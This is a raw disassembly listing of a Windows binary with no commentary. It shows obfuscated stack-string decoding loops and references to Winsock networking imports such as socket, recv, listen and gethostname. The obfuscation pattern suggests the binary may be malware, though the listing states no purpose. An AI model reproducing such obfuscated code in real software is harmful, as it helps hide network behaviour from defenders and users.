lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140157574
movabs rdx, 0x9dd4d1c493f40f1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401577c3
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14015759f
movabs rcx, 0x52397dffa41c8a98
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x28
jmp 0x140157799
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140157351
movabs rdx, 0xbb02d675c46d8190
mov ecx, 8
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401578c9
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401575fd
movabs rcx, 0xb26331447cfb31c2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4e
jmp 0x1401578a5
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140157628
movabs rcx, 0xcf9135f5ad74a436
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7a
jmp 0x140157799
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140157645
movabs rdx, 0x83f5e230bd9d1fb2
mov ecx, reloc.WS2_32.dll_recvfrom
jmp 0x14015755d
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140157671
movabs rcx, 0x385a8e6bcdc59b2e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x42
jmp 0x140157832
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14015738d
movabs rcx, 0x5588931cfe3f0da2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6e
jmp 0x1401579c4
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401576cc
movabs rcx, 0x988441b0a6a44258
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x1401579c4
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401576f7
movabs rcx, 0x14d9a26c6f53950
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x30
jmp 0x140157917
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140157726
movabs rdx, 0x6a16f29ce7463048
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401577c3
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x140157743
movabs rdx, 0xd2e04b1307972740
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1401578dd
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401572ee
movabs rcx, 0x8744f74e17bfa2bc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x24
jmp 0x1401578c9
movabs rdx, 0xa472fbff48391530
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov bl, byte [rbp + r9 + 0x700]
sub bl, al
sub bl, 0x50
add bl, dl
add bl, r8b
movabs rdx, 0x7ea5521cd04d52ee
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
add cl, bl
mov byte [rbp + r9 + 0x700], cl
add rdi, r10
jmp 0x140157832
movabs rdx, 0x58d7a83a586190ac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x700]
add bl, dl
add bl, r8b
jmp 0x140157917
movabs rdx, 0xd4e1c6099ac470fa
mov ecx, reloc.WS2_32.dll_setsockopt
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1401577ec
movabs rcx, 0x207d19ce8a9bf57e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x72
movzx eax, bl
mov rcx, r12
sub rcx, rax
add r9, rcx
jmp 0x1401579d3
movabs rcx, 0x34f151d5a22830a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x46
jmp 0x1401578ef
movabs rcx, 0x9a85bca739d18c12
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7e
jmp 0x1401578a5
movabs rdx, 0x31bc64311980951a
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rcx, 0xca40a5e1c024d772
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x1e
add cl, r8b
mov byte [rbp + r9 + 0x700], cl
add r10, r15
jmp 0x1401578ef
movabs rdx, 0xc8f30bbaf92f9e22
mov ecx, 9
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
sub r9, r15
jmp 0x1401579d3
mov r8, r11
movabs rcx, 0xf7605aceb88db032
add rcx, r9
mov al, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x5e
movabs rdx, 0x3309fe57e075ce6a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x700], al
add r10, r15
add rax, r10
sub r9, rax
jmp 0x140157971
movabs rdx, 0x42fbae93a86534b6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
mov r8b, r11b
movabs rcx, 0xd3c5475688a0c28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x18
add cl, r8b
mov byte [rbp + r9 + 0x700], cl
add rdi, r15
mov rax, r12
sub rax, rdi
add r9, rax
jmp 0x1401579c4
movabs rdx, 0x8e970258983cb93a
add rdx, r9
mov al, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
movzx eax, byte [rbp + r9 + 0x700]
add rax, r10
add r9, rax
add r9, r15
jmp 0x140156e62
movabs rdx, 0x5c26bd57b28413b6
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140156e5f
movabs rdx, 0xa7c2111ca25b983a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140156e4f
lea rdx, [rbp + 0x15982a8]
jmp 0x140157a40
lea rdx, [rbp + 0x16dc066]
jmp 0x140157a40
lea rdx, [rbp + 0x700]
lea rcx, [rbp + 0x158]
call fcn.1400ca428
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2850]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140157a75
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, r14d
mov r8d, esi
lea rcx, [rbp + 0x2850]
call fcn.1400ca2f0
nop
lea rcx, [rbp + 0x2850]
call fcn.1401aa1b8
nop
lea rcx, [rbp + 0x2850]
call fcn.14008b580
nop
mov rcx, rbx
call fcn.140091e30
mov byte [rbp + 0xe50], 0xe3
mov byte [rbp + 0xe51], 0xad
mov byte [rbp + 0xe52], 0xec
mov byte [rbp + 0xe53], 0xab
mov byte [rbp + 0xe54], recv
mov byte [rbp + 0xe55], 0xa9
mov byte [rbp + 0xe56], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xe57], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xe58], 0x3d
mov byte [rbp + 0xe59], __WSAFDIsSet
mov byte [rbp + 0xe5a], r13b
mov byte [rbp + 0xe5b], __WSAFDIsSet
mov byte [rbp + 0xe5c], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xe5d], __WSAFDIsSet
mov byte [rbp + 0xe5e], reloc.WS2_32.dll_listen
mov byte [rbp + 0xe5f], 0x9f
mov byte [rbp + 0xe60], 7
mov byte [rbp + 0xe61], 0x9d
mov byte [rbp + 0xe62], 5
mov byte [rbp + 0xe63], 0x9b
mov byte [rbp + 0xe64], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xe65], 0x99
mov byte [rbp + 0xe66], Ordinal_46
mov byte [rbp + 0xe67], 0x87
mov byte [rbp + 0xe68], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0xe69], 0x85
mov byte [rbp + 0xe6a], Ordinal_217
mov byte [rbp + 0xe6b], 0x83
mov byte [rbp + 0xe6c], 0x3d
mov byte [rbp + 0xe6d], 0x81
mov byte [rbp + 0xe6e], Ordinal_50
mov byte [rbp + 0xe6f], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xe70], Ordinal_46
mov byte [rbp + 0xe71], Ordinal_143
mov byte [rbp + 0xe72], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xe73], Ordinal_143
mov byte [rbp + 0xe74], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xe75], Ordinal_143
mov byte [rbp + 0xe76], 0x64
mov byte [rbp + 0xe77], 0xf7
mov byte [rbp + 0xe78], 0x5c
mov byte [rbp + 0xe79], 0xf5
mov byte [rbp + 0xe7a], 0x62
mov byte [rbp + 0xe7b], 0xf3
mov byte [rbp + 0xe7c], 0xaa
mov byte [rbp + 0xe7d], 0xf1
mov byte [rbp + 0xe7e], 0xa2
mov byte [rbp + 0xe7f], 0xff
mov byte [rbp + 0xe80], 0xae
mov byte [rbp + 0xe81], 0xfd
mov byte [rbp + 0xe82], 0x57
mov byte [rbp + 0xe83], 0xfb
mov byte [rbp + 0xe84], 0x60
mov byte [rbp + 0xe85], 0xf9
mov byte [rbp + 0xe86], Ordinal_79
mov byte [rbp + 0xe87], 0xe7
mov byte [rbp + 0xe88], 0xb6
mov byte [rbp + 0xe89], 0xe5
mov byte [rbp + 0xe8a], 0x77
mov byte [rbp + 0xe8b], 0xe3
mov byte [rbp + 0xe8c], 0x7d
mov byte [rbp + 0xe8d], 0xe1
mov byte [rbp + 0xe8e], 0x47
mov byte [rbp + 0xe8f], 0xef
mov byte [rbp + 0xe90], 0xec
mov byte [rbp + 0xe91], 0xed
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe92], xmm0
mov qword [rbp + 0xea2], rax
mov byte [rbp + 0xeaa], al
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x5b
jae 0x14015884f
movzx r8d, byte [rbp + r9 + 0xe50]
mov r11, r8
cmp rdi, r9
ja 0x140158846
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140157cf7
movabs rcx, 0xfa317cbfea226b1a
add rcx, r9
mov rax, r8
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, r8
add rbx, rcx
add bl, 0x4a
jmp 0x140157d31
je 0x1401587bf
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140158733
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401586fe
lea rax, [r10 + 6]
cmp rdi, rax
je 0x1401586b5
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14015868d
cmp r10, r9
ja 0x14015883d
lea rax, [r10 + 0x7a]
cmp rdi, rax
jae 0x140157d57
movabs rdx, 0x860f3bbe34d2c922
mov ecx, 9
jmp 0x140157f3e
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140158647
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140158628
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140158605
lea rax, [r10 + 7]
cmp rdi, rax
je 0x1401585e2
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x1401582b3
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x140158292
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x14015827e
lea rax, [r10 + 0x20]
cmp rdi, rax
je 0x14015825b
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x140158239
lea rax, [r10 + 8]
cmp rdi, rax
je 0x140158225
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140158202
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401581ee
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401581cd
lea rax, [r10 + 0x5a]
cmp rdi, rax
je 0x1401581b9
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x140157d98
lea rdi, [r10 + 0x61]
lea r10, [rdi + 0x1000]
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x14015881a
lea rax, [r10 + 0x200]
cmp rdi, rax
jb 0x1401587f4
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x140157f78
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x140157f55
lea rax, [r10 + 2]
cmp rdi, rax
jb 0x140157f2f
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x14015815f
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x140158104
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x1401580b8
lea rdi, [r10 + 0x80]
lea r10, [rdi + 0x64]
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x140158095
lea rax, [r10 + 0x28]
cmp rdi, rax
ja 0x140158073
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x14015804d
lea rax, [r10 + 9]
cmp rdi, rax
ja 0x14015802a
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x140158016
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x140157ff5
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x140157fe1
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x140157fbf
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x140157f9e
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x140157d98
lea rdi, [r10 + 0x1000]
lea r10, [rdi + 0x400]
jmp 0x140157d98
movabs rdx, 0xd8debc3420b0271e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140157d8b
movabs rdx, 0xe47bc2b44c6b50ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x66
add bl, dl
jmp 0x140157d31
movabs rdx, 0xf018c93478267ab6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140157cc0
movabs rdx, 0x3079ddf1a6964910
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x70
jmp 0x140158663
movabs rcx, 0x3c16e471d25172dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x1401586aa
movabs rdx, 0x47b3eaf1fe0c9ca8
mov ecx, 0x34
jmp 0x140158411
movabs rdx, 0x5350f17229c7c674
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x2c
jmp 0x140158364
movabs rdx, 0x5eedf7f25582f040
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14015870d
movabs rcx, 0x6a8afe72813e1a0c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x54
jmp 0x140158722
movabs rdx, 0x762804f2acf943d8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140158757
movabs rcx, 0x81c50b72d8b46da4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7c
jmp 0x140158789
movabs rcx, 0x8d6211f3046f9770
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x10
jmp 0x1401587dd
movabs rcx, 0xb607a8b39d7ea9ba
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x16
cmp r10, 0x41
jb 0x14015857d
movabs rcx, 0xafb7b47749b6ac5c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea ebx, [rcx*2 - 8]
jmp 0x140158665
movabs rdx, 0xc1a4af33c939d386
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp rdi, 3
jae 0x14015858a
lea rcx, [r10 + 2]
cmp rdi, rcx
jbe 0x1401584af
movabs rdx, 0x23d9f578ff064e54
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4c
add bl, dl
jmp 0x1401580d5
movabs rcx, 0xcd41b5b3f4f4fd52
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x3e
lea rax, [r10 + rdi]
cmp rax, 0x5a
je 0x1401585b8
lea rax, [r10 + 0x41]
cmp rdi, rax
jbe 0x1401583ca
movabs rcx, 0x9dcab9baca338532
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5e
jmp 0x140158125
movabs rdx, 0x245b66753cf0b6cc
mov ecx, gethostname
jmp 0x1401582fa
movabs rdx, 0x2ff86cf568abe098
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x28
jmp 0x1401585fe
movabs rdx, 0x3b95737594670a64
mov ecx, Ordinal_35
jmp 0x140158325
movabs rcx, 0x473279f5c0223430
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x50
jmp 0x140158722
movabs rdx, 0x52cf8075ebdd5dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x14015870d
movabs rcx, 0x5e6c86f6179887c8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x78
jmp 0x1401586d2
movabs rcx, 0x6a098d764353b194
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xc
jmp 0x1401586ad
movabs rdx, 0x75a693f66f0edb60
mov ecx, Ordinal_50
jmp 0x1401583b3
movabs rdx, 0x81439a769aca052c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x34
jmp 0x140158663
lea rcx, [r10 + 2]
cmp rdi, rcx
jae 0x1401582e2
movabs rdx, 0xfa317cbfea226b1a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015817c
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140158311
movabs rdx, 0xc1e777c69a59244
mov ecx, reloc.WS2_32.dll_select
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401587dd
cmp rdi, rcx
jne 0x14015833c
movabs rdx, 0xf4e46a7c122f3eac
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140158757
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14015836b
movabs rdx, 0xd20d56fb8efdc148
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401586d2
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x140158397
movabs rcx, 0xc670507b6342977c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x64
jmp 0x1401586ad
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14015817c
movabs rdx, 0xbad349fb37876db0
mov ecx, Ordinal_27
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401586aa
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401583f9
movabs rdx, 0x922db33a9e785b66
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140158665
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140158428
movabs rdx, 0x7af3a63a470207ce
mov ecx, Ordinal_50
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401586ad
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140158454
movabs rcx, 0x63b99939ef8bb436
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x7a
jmp 0x14015871f
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14015847f
movabs rcx, 0x4c7f8c399815609e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x52
jmp 0x140158757
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x140158125
movabs rcx, 0x35457f39409f0d06
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x2a
jmp 0x1401587dd
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401584cc
movabs rdx, 0x183ceef8d34b2488
mov ecx, 0x24
jmp 0x1401582fa
cmp rdi, rcx
jne 0x1401584f3
movabs rcx, 0xc9fe878a78ffabc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x24
jmp 0x140158789
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14015851f
movabs rcx, 0xe9c8d4f8245e7d58
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x14015871f
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14015854e
movabs rdx, 0xc6f1c177a12cfff4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401586aa
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x1401580d5
movabs rcx, 0xbb54baf77571d628
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x18
jmp 0x140158665
mov byte [rbp + r9 + 0xe50], bl
jmp 0x1401587ec
movabs rdx, 0xa41aadf71dfb8290
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r9 + 0xe50]
add bl, dl
add bl, r8b
jmp 0x1401586d2
movabs rcx, 0x987da776f24058c4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r9 + 0xe50]
lea ebx, [r8 + rcx]
sub bl, 0x5c
jmp 0x140158757
movabs rdx, 0x292707bcd6f97ac2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4e
add bl, dl
jmp 0x140158789
movabs rcx, 0x406114bd2e6fce5a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x76
jmp 0x140158722
movabs rcx, 0x6338283db1a14bbe
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x32
jmp 0x1401586ad
movabs rdx, 0x7a72353e09179f56
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5a
add bl, dl
movabs rcx, 0xa9e9313733d91776
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x3a
add r8b, cl
mov byte [rbp + r9 + 0xe50], r8b
jmp 0x1401586aa
movabs rcx, 0x9d4948be8c491cba
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x16
add r10, r15
sub r9, r15
jmp 0x1401587ec
movabs rcx, 0xb48355bee3bf7052
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x3e
movabs rdx, 0x9e4c2ab7081dedaa
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
add cl, bl
mov byte [rbp + r9 + 0xe50], cl
jmp 0x14015871f
movabs rdx, 0xc0205c3f0f7a9a1e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
add rdi, r10
movzx eax, bl
mov rcx, r12
sub rcx, rax
add r9, rcx
jmp 0x1401587ec
mov r8, r11
movabs rdx, 0xd75a693f66f0edb6
add rdx, r9
mov al, dl
and al, r11b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
movabs rdx, 0x92af2436dc62c3de
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x12
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0xe50], al
add r10, r15
add rax, r10
sub r9, rax
movabs rdx, 0x8ce0a0f6c6852ef8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0xe50], cl
add rdi, r15
mov rax, r12
sub rax, rdi
add r9, rax
jmp 0x1401587dd
movabs rcx, 0xee94763fbe67414e
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub r11b, al
lea ebx, [rcx + r11]
sub bl, 0x22
movzx eax, byte [rbp + r9 + 0xe50]
add rax, r10
add r9, rax
add r9, r15
jmp 0x140157cad
movabs rdx, 0xfbb5cfb4a3e1a482
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140157caa
movabs rcx, 0x752d634cf9cce4e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x22
jmp 0x140157c9a
lea rdx, [rbp + 0x16003c8]
jmp 0x140158856
lea rdx, [rbp + 0x1026ee2]
jmp 0x140158856
lea rdx, [rbp + 0xe50]
lea rcx, [rbp + 0x178]
call fcn.1400ca428
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2960]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14015888b
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, r14d
mov r8d, esi
lea rcx, [rbp + 0x2960]
call fcn.1400ca2f0
nop
lea rcx, [rbp + 0x2960]
call fcn.1401aa1b8
nop
lea rcx, [rbp + 0x2960]
call fcn.14008b580
nop
mov rcx, rbx
call fcn.140091e30
mov byte [rbp + 0x550], Ordinal_60
mov byte [rbp + 0x551], Ordinal_143
mov byte [rbp + 0x552], 0x61
mov byte [rbp + 0x553], 0xf3
mov byte [rbp + 0x554], 0x5a
mov byte [rbp + 0x555], 0xf1
mov byte [rbp + 0x556], 0x62
mov byte [rbp + 0x557], 0xf7
mov byte [rbp + 0x558], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x559], 0xf5
mov byte [rbp + 0x55a], 0x5b
mov byte [rbp + 0x55b], 0xfb
mov byte [rbp + 0x55c], WSACleanup
mov byte [rbp + 0x55d], 0xf9
mov byte [rbp + 0x55e], 0x5b
mov byte [rbp + 0x55f], 0xff
mov byte [rbp + 0x560], r14b
mov byte [rbp + 0x561], 0xfd
mov byte [rbp + 0x562], 0x59
mov byte [rbp + 0x563], 0xe3
mov byte [rbp + 0x564], Ordinal_79
mov byte [rbp + 0x565], 0xe1
mov byte [rbp + 0x566], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x567], 0xe7
mov byte [rbp + 0x568], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x569], 0xe5
mov byte [rbp + 0x56a], 0x7f
mov byte [rbp + 0x56b], 0xeb
mov byte [rbp + 0x56c], 0x7a
mov byte [rbp + 0x56d], 0xe9
mov byte [rbp + 0x56e], Ordinal_79
mov byte [rbp + 0x56f], 0xef
mov byte [rbp + 0x570], 0x7a
mov byte [rbp + 0x571], 0xed
mov byte [rbp + 0x572], 0x88
